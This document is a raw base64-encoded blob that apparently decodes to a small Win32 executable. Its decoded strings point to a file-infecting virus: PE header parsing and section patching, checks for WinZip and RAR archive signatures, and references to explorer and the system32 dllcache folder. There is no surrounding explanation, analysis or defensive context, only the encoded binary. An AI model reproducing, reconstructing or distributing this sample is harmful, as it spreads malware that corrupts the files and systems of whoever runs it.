R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHRwDMTQmqqwlr6kOPasrrKcytaopNSqqK 68ytaopNSqqK64LJqwpH6wmO68lDIUFBzGtJSczvisnrCY7ryYJKaGpHSkdraopHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0fqSUBHgutI60eCKSsJR4JJaotHggtryUdHR0dHR0dHR0dH R0eCyUjJR4JKyepHgkrJ6spHgqlrC0eCaylJR4LLqitHggnJi0eCSMopR4IKSatHgitJSUeC K0eCSWspR4LqSatHgupJ66tHggtrKkeC6kkhR4JJy4tHRy2qi8mpawnrzO5qKwmqKaqLycyt aorLqqkpzC/pCQnrismN6wkpaqqKzEdvSUlDTWvJSilHDemKRw3piq6KK+tHLWgpyevqzC/p CQnriskvqorJCarKLevJzC3rCYlqK+spRy2qi8mpawnrzO5qKwmqKaqLycytbw/MrW8Pwcyt awtDj2rK60OOa+rrRw3pii3rCYlqK+spR26KyesJiuvJQy3ryclqiqspzC9rK0rrzE1ryUop R0dHR0dHR0dOasJHTuvKyqrCRw3rAEePqQBH7YrL68pqiesJawvK60Pqa2rK4uID4ykDRw3r yekJiuvLQ+prasri4gPjKQNHR0dHR2tD4ylD4ylDq2vq60drQ+MpQ+MpQ8mqqspHa0PjKUPj KUOp6wspasnrR2tD4ylD4ylDSWvJK0pH4ylDCevqqolrykPJqqrKKUdHR0dHR0dHiuupR4vp iopoR4pqK+tHSunqqukJR+tIK2rJ60erqqrLR0mqqYvpyketaopMTUdu70OBgkFHrSEBgu/K KusJikNHrSEBgi7K6wiC70dHSqqpQ2sJ60NoqulHyuvJoylDC+tDiwlq64rLKUfLawnKaoqr RymqQyuqqspDa0OLymspSsLrigqqaENqyUdoqukJQ0lrKSmpqgnLR0qqiutoRymq6utDaenr KclqqoopR0nK62sp60PJCWhDa6traopHqevKK6rq60PJqkPqaENKqurryaqpikfJSutDr2sJ y+uKQ6qLQ+/L64pHaorJCarL6SvJaqqKQ6qKQ2/PLc5H6uvryWqKq0OKqslqK+tHaenrKclq qoqKa2oJ60crqoqrCWvJ6cpryWqqiilHKaopY0cKa0lriusp60OragnKQ40tQ0nKa2gLqmhH yqqqKsLqaEML62vpyWqL6cpDq2oJykOLCWrristH62ur6wlDyapDKevrQ2iq6UcpSWor60Or agnKKaNDiaora8pDK6qKK+sJyUcKa0lriusp60PKaykpo0Mp60hoQ0lqK8npCespR0dHRy1o 6muKyesrR+4ra4vr60eP4i3rK+kJ60ctqklKqilHzQnrisvqaisJqkcuaylJ6wkpKmhHR0dH jwmq6gBDR82qAENHLekLCusryQBDR0dHzUrrQ4uqysqqqWqKq0Pqa2rKQytriqPJQwvrQynr islDyapD4ykAR81K60NryclrK0rq64rJR81K60OLasrrR0NqKUPJSutDqglqq2qKa8pD6mtq ykdDq2qJ60NoqulDyUrrQ+MpR0NqKUNrQ+MpQ8triqvrCarpKUOJagnpKUPJSmvJQ+MpRytr ikNqiovrK8lDqopDrWqKYECi7uuiAUFBQaJMTYJHKUkJ62vLQ8lKCarpq0pD6+prasqCR4nr CWhDRylJ6ytqa8pDR0rJyUkAoqJHqampgkeCK6rqR4+qCUPqqgnrQ2qKi6oJ6mvJaqqKwknK 62sp60OJailqyUNHzUpqKUNqKUNHbkPjKUNoqulDqarpystD4ylDasmCR+uKCqpoR8pqKutH qWopSkdKqknrR+tISesryUdHL0oJainJ6mspR47rqUNo62sJRy1raorJQ41ryuuKyWqK66Mp Q89raEdvyspKa8rKqqnqaylHb0kJaspDj6qqyimjQ89raEfOa8toQ89raEdvKSnp6knJaqqK Ry9risvK6+prKUdvyspDLarpyimjz2toR+9JaklKa4poR0dHR0dOa0lJaENHTmuJ60NrQ0dH wAsJgOYGR+YGR0mqKcnqaynJ6wlHR0etaooqR0du6mur601ryUpH7m7u7+KN6wkpaqqKAENh gkHmBi+qisnrisnizWhJ6wBD6unKyWpJawnJomvKyesJimvJaonrIOYGZguq6YrLawlo4Ecv qorJ64rJ4s1oSesAQ8nrSMmiSsnqyiDmBi+qisnrisnizQlriimL6wni74orqstqiqsAQ2np qsnry+JJCWqKyWsLyuvmBuYGwE7N7s6AwE7vb8+AwKJO72/PgMAPrs9sgOMp5gbAj66OzYBH R8Cij66OzYDAog+uz2yAwKJOze7OgEdHRy+qisnrisnizWhJ6wBD4ykg5gZmimvq6+DjKeYG L6qKyeuKyeLNCWuKKYvrCeLviiuqy2qKqwBDC2sp64HB5gYvqorJ64rJ4m7PAEPA4ymAR0dH R0dHR0dHR2vpy2qqokjiqWuJR2vpy2qqokji6mrLakdrSUnKaitryWqqiqKqK8nryeIpyQnr a+pHR0dHR0dHR0fmBsBqiwlr6utDKQkr4CHPK2rLAOMpQ0rraqtKyeAhz0FDqWrLyUrgIc9B gOYGwKJqiwlr6uuAR81KailDq2vq60NqKUPqaEOLagkpyUOpqgkqgsALCYDmBmyq6aMJ60PJ SutDi2oJKclDScpraOsJgkeubi9tR00JqqsJa+qPasrrKc9qCUdHR0cp6slJgkesb41NIQFH rG+NTS8vR46uzyEBR45NLS2NL0eODe8tbSEBR44tL07vzyEBR44tL07vz47NR44tTc7tr26O R45vjUeOb41vTS2NL0eOb41vTa0hAUeOb43O7SEBR45vjQ3tjg1Hjm+NrSEBR6xvjU3uR2/O 7w3NLY0vR2/uro5Hb41NIQFHb41NLy9Hb41N7keOIQEtL2+OrUeOb42tjs1Hb47Nbo1uDUdv jU3tTc9Hb42vL80Nzkdvja1ujmDhRy0vb44hAUeNLU6tbo4hAUeP4i3Nrk2tR4/iTQ2uzWDh R28vLq1ujiEBR43vzc0Nb2xHje/NYOFHLa3v701g4UdNLy+tbo5gQEduru6ujmBAR2+NTc0v R2+N7yEBR2+NL66OLa7OR49N4q1ujkfPjU1g4UeP4m+vjs1g4Ucvzm+tYOFHjo0vYOFHLS9v jkeNbg3tLUfOri8uz66tjgFBQUFHjqoJyaqKR+4ra4vr60dvislqiWoJR81vLS7urw1HR0dH R0dHR0dHR0dHR0dHR0dHb47NbuKNbg2Cz2/NRy9OLs5uLc2Cz2/NRy9OLs5uLc2C7i1HL04u zm4tzYIvTS1HL04uzm4tzYLNb41Hbo0Pgo7NDEct7m8NzS9OLoLuLUct7m8NzS9OLoIvTS1H b42vbc2Cz2/NR2+v7W8Nz4LPb81HR0dHR0dHLUrKqWtJaoLLyspHLusJiuvKIQGCy8rKR4rr yWtJaiEBgsvKykcpiyuCy8rKR0dHR0ctagkra+pHjmrqy2tHL6rL6w3ry0etbS7u7iFAoUBH rw1u748hQKFAR4/pikPOqolqiqtDLwlq6mqKa8pHjqoJyaqKR+4ra4vr60dvislqiWoJR2+J K6qKKarKR4/iLc2uTa1Hj+It6yvpCetHLapJSqopR4lqCekpR2+NTUPuqopqyaoJR2+NTUPt SctryespR26KqivpymvJ627NR00v4itqyspqikctaOprisnrK0fNCeuKy0PuaisJqkeP4k0N rs1HQ46uzyEBQ0dHRw3rq2opyesJLesJiWor600JqivrKSlHjuvJLUprCetvy8tHLU7P68rr yesu62hvRy2LK24pj2rK600JqsnrK8nry0eO68ktSmsJ66/ryW6Ki6pHjuvJb0lqD+mLi+sJ jwnr60dHR0dH70xNzq4N7w1HL+7urw1H6ilq6opHaiupK6qKikepaooIaklHR0dHR00JqqsJ a+pH4ylDwOMpgEdvDy/P74+vTm4OLs7ujq5NbQ0tze2NrUxsDGsLK8vri6tKagoqyuqKqklp CSnJ6YmpSGgIQWEBIcHhgaFAYCKiRynryelJR2qKKclryspHy+vqqkcpiqqqSWhHSWorayvp RypqycloR0nKa2hHCaorKkdHR0dHR0dHDWsJYwSnR75VKUdH5kdHR0dHR0dHR4IJawlHR6lq imqK68mCy8rKR26KyesJiuvJr+vJL6qKiusryevLLclryetHR0fPagnrK8mqCWhHy8rKK2sr SutHRy3rz+sL6atNCWqJasrrq+tHLevNKwtNCWqJasrrq+tHR0dHR0dHR0epC+IKa0lrioIr qoIKSUeJ6wlqCKqKgorryUdrCWnpagnry4LrKUfLaotrK4IrqupHRy2qi8mpawnrzO5qKwmq KaqLycxuisnrCYrryUNvKyuq6YrJQ+5rimur6wnMbysrqumKySnMRy3uzU1DLesJiesJRy3u zU1D7+praspDb8vLCespKUdHraoJ6kMuyusIgu9Daurq6YpqyWhHRy7K6wiC70NqKUPJSutD 6qopyUMrqurqqopDqaoJysviqWrL60MpSQnra8tqiqtDqaoJ6oJuyaMpQ4nrCWhDy2uKq+sJ qukpQwtoQyuqCQnpSclqiqtDaKrpCUOLasrrKYLACwmA5gYP6ytr6SnrQ6qLQ2rJKUOJ6wlo QynqawnJQynJ62vKyUpDa4rLQ2uKyWria4rJauKJagnpKUPJ6ytKimorwuqqKclDK6rq6qqK Q2+NQymqi8mpawnrQytriqPJQ8vryesryUOqCUMryutrikNqyYLACwmA5gat60PL64nryqpJ 68tDyUpqKUOLCevrQ2rq6umKasloQ8mqqspDyapDy+uL62vJQ8lK60Pqa8pqK2qq6SlDiWoJ 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 